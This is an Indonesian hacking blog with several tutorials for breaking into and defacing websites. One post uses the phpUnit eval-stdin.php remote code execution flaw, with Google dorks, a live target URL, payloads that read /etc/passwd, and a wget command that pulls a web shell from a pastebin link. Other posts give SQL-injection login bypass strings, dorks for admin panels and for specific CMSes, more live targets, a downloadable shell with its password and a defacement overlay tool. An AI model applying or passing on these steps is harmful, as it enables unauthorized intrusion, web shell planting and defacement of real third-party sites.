ClownTerror072 | Blog

" Berbagai Tutorial Hacking yang menarik "

Laravel phpUnit UPLOAD SHELL

deface , dork
Laravel phpUnit UPLOAD SHELL

Tutorial / Cara Upload Shell Metode Laravel phpUnit to RCE( Remote Code Execution ) dengan BurpSuite

  • Pertama siapkan :
    -     BurpSuite ( download di google banyak )
    -     Browser

  • Dorking di google :
    - inurl:vendor/phpunit/phpunit/src/
    - inurl:/src/Util/PHP/ intitle:index of
    - inurl:/Util/PHP/ "eval-stdin.php"
    * kembangin lagi biar dapet target lebih fresh

  • Exploit : /eval-stdin.php
    site.co.li/vendor/phpunit/phpunit/src/Util/PHP/eval.stdin.php
    * kalau blank putih berarti vuln
  • Oke langsung aja, disini gua udh dapet targetnya :
    http://www.olapcemetery.com//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  • Buka BurpSuite > ke menu Proxy > pilih Intercept > nyalakan Intercept ( Intercept On )

  • Lalu kalian buka target yang tadi, dan buka BurpSuite lagi.

  • Jika sudah seperti ini, klik kanan dan pilih Send to Repeater / Ctrl + R
    Masuk ke Repeater, lihat kolom kiri adalah requestnya dan responsnya berada di sebelah kanan.
  • Nah sekarang saatnya mengeksekusi :v
  • Masukkan payload <?php system('ls');?> di kolom request, gunanya agar melihat isi dalam dir /PHP/ atau bisa juga dengan <?php system('tail /etc/passwd');?> untuk melihat isi dari /etc/passwd nya, terus klik " Go ".

    Nanti kalo bisa di eksekusi bakal muncul responsnya disebelah kanan, lihat gambar.
    Kalo gamuncul berarti gbs di eksekusi.











  • Langsung aja kita tusbool gan dgn perintah wget buat manggil shell kita

    - <?php system('wget link shell lu -o px.php'); ?>
         atau lu bisa pake link shell gua
    - <?php system('wget https://pastebin.com/raw/E5fXkdyC -o px.php'); ?>
    Nb : px.php bisa ganti terserah kamu, buat namain file shell yg kita upload











  • Nah shell px.php gua udh ke upload, tinggal buka aja deh :*
  • Shell telah terupload :V

Read more »
pada tanggal No comments:
Labels: , , , , , , , , , , ,

Default Pass CMS SalatigaWeb

deface , dork
Default Pass CMS SalatigaWeb
pada tanggal No comments:
Labels: , , , , , , , ,

CMS Anch Technologies Login Vulnerability UPLOAD SHELL !

bypass admin , bypass sql login
CMS Anch Technologies Login Vulnerability UPLOAD SHELL !
===============================
{+} Dork :
  • "Powered by Anch Technologies." (search di browser)


{+} Exploit :
  • /admin
  • Contoh : site.com/admin
{+} Proof Of Concept :
  1. Saat sudah di admin login seperti gambar diatas, masukan
     '=''or' atau ' or 1=1 limit 1 -- -+ pada kolom username dan passwordnya lalu klik login.

  2. Jika sudah di dashboard admin seperti gambar diatas, upload shell / akses pada foto profile admin.

  3. Upload shell dengan ext .php / .phtml
  4. Jika ada gambar rusak, klik kanan lalu
    " Open image in new tab "
  5. Shell sudah ter upload :)

    LIVE TARGET : http://skynetbusinesssolution.com

===============================
Read more »
pada tanggal No comments:
Labels: , , , , , , , , , , , ,

Dork Fresh Bypass SQL Login !

bypass admin , bypass sql login
Dork Fresh Bypass SQL Login !
WIBU GA BAU BAWANG !


Tutor bypass SQL login ? DISINI

Cara pakai :

  1. Copy salah satu dork
  2. Pastekan di google
  3. Lalu, monggo pilih webnya gan :v 

DORK :
  • inurl:/adminpanel/ "login"
  • inurl:/super_admin/ "login"
  • inurl:/backend/ "login"
  • inurl:/admin/ "username"
  • inurl:/panel/ "admin login"
  • inurl:/paneladmin/ "login"
  • inurl:/superadmin/ "login"
  • inurl:/login.php "admin"
  • inurl:/admin_login.php
  • inurl:/adminlogin.php
  • inurl:/loginadmin.php
Kembangin lagi pakai otak hekel mu, biar dapet target yg fresh :v
NB:Dork akan saya tambah lagi
Read more »
pada tanggal No comments:
Labels: , , , , , , , , , , ,

Rilis ! Tool JSO Creator / Tool Membuat Script JSO

deface , hack
Rilis ! Tool JSO Creator / Tool Membuat Script JSO
Tampilan Tool

Tool ini digunakan untuk membuat script JSO
Apa itu sc JSO ?
Jso adalah singkatan dari JavaScript Overlay
Para defacer menggunakan jso untuk mengubah tampilan website dengan script simple.

Kelebihan Tool Ini :

  • Lebih mudah untuk membuat script JSO-nya.
    Tinggal copy dan pastekan script kalian =>  pastekan di kolom paling atas => klik Convert => klik Create => tinggal copy link script JSO nya.
  • Dah tinggal dipasang buat deface :v


Link download? Klik disini 

Cara Pakai :
  1. Upload tool nya ke web dari shell / akses yg sudah kalian tanam di web atau buka di localhost juga bisa.
  2. Buka toolnya, misal site.com/jso.php
  3. Tinggal isi dengan script deface mu, lalu tinggal ikuti aja petunjuknya.
  4. Script JSO sudah jadi :v
Demo : 

http://www.candidatecommand-test.com/inijso.php

Sekian, semoga bermanfaat.
Read more »
pada tanggal 6 comments:
Labels: , , , , , ,

Cms Fluent Technology Pvt. Ltd Bypass Admin Login Vulnerability UPLOAD SHELL !

bypass admin , bypass sql login
Cms Fluent Technology Pvt. Ltd Bypass Admin Login Vulnerability UPLOAD SHELL !

Simple Tutorial



==========================================
[+] Dorknya : 
  • "Developed By - Fluent Technology Pvt. Ltd."
  • "Developed By - Fluent Technology Pvt. Ltd." site:in
  • "Developed By - Fluent Technology Pvt. Ltd." site:com
  • Yang lain pikir sendiri, pake otak vvibu lu :v 
==========================================
[+] POC / Proof Of Concept : 
  •  Dorking di Google pake dork diatas 
[+] Exploit : 
  • site.com/fluentcms/login.php
  • Username  : '=' 'or'
  • Password   : '= 'or' 
[+] Upload Shell :
  • Cari tempat upload, upload shell .phtml / .php
  • Gapunya shell? bisa pake shell gua, download DISINI (password shell = pintuajaib)
Read more »
pada tanggal No comments:
Labels: , , , , , , , , ,

Cara Melakukan Pentest Atau Menguji Keamanan System Pada Website

hack , hacking
Cara Melakukan Pentest Atau Menguji Keamanan System Pada Website

Assalamualaikum wr.wb


Langsung aja ya cok, w males basa basi su.

1. Kalian harus mengetahui terlebih dahulu macam-macam bug/celah pd website yang umum atau sering ditemukan, berikut adalah contoh bug yang sering ditemukan :
- Admin Weak Pass
- SQL Injection
- Hidden Uploader
- dan masih banyak sebenarnya, sana cari tau yg lain sendiri -_-
2. Kalian juga harus tau cara mengeksekusinya. Caranya? Google banyak gan, atau kalo mau dijelasin caranya kalian bisa komen dibawah, oke? next.
3. Lakukan percobaan kepada web target. Misal, lakukan uji coba Bypass Admin, pertama kalian cari dulu Admin Login-nya, biasanya /admin, /administrator, /login, /login.php, /admin.php, dan masih banyak lagi, pikir sendiri. Lalu kalian isi username dan passwordnya dengan
' or 1=1 limit 1 -- -+ 
Jika berhasil login berarti web tersebut vuln/memiliki celah bypass sql login / bypass admin.

4. Karena terkadang username dan passwordnya masih default / belum diganti, atau bisa juga adminnya goblok, kita coba untuk menebak user dan pass nya, biasanya usernya admin passnya juga admin. Nah kalo bisa login, yaudah cok -_-

5. Kalau cara diatas gabisa lu lakuin, coba untuk ngetes webnya memiliki celah SQL Injection atau engga, biasanya kalo di url ada page?id=2 atau semacamnya, pokoknya ?id=(nomor) gitu kemungkinan memiliki celah. Coba masukan tanda ' dibelakang nomor, contoh site.com/page.php?id=45' kalau muncul error / ada bagian yang hilang dr web tsb brrti vuln, kalian bisa lanjutin dan dump user pw adminnya, terus gimana? ya buat login lah.

6. Kalo web target lu gapunya celah seperti yg diatas, coba lu telusuri semua dir / modul / form yg ada di webnya, kalo ada yg bisa buat upload, coba bypass ext shell lu trs lu upload, kalo gabisa ya tamper.


Dah segitu aja, kalo kurang jelas bisa komen dibawah, ntar w jawab. Atau bisa email gua
( clownterror072@gmail.com )
 Oke sekian, Wassalamualaikum wr.wb
Read more »
pada tanggal 2 comments:
Labels: , , , , , ,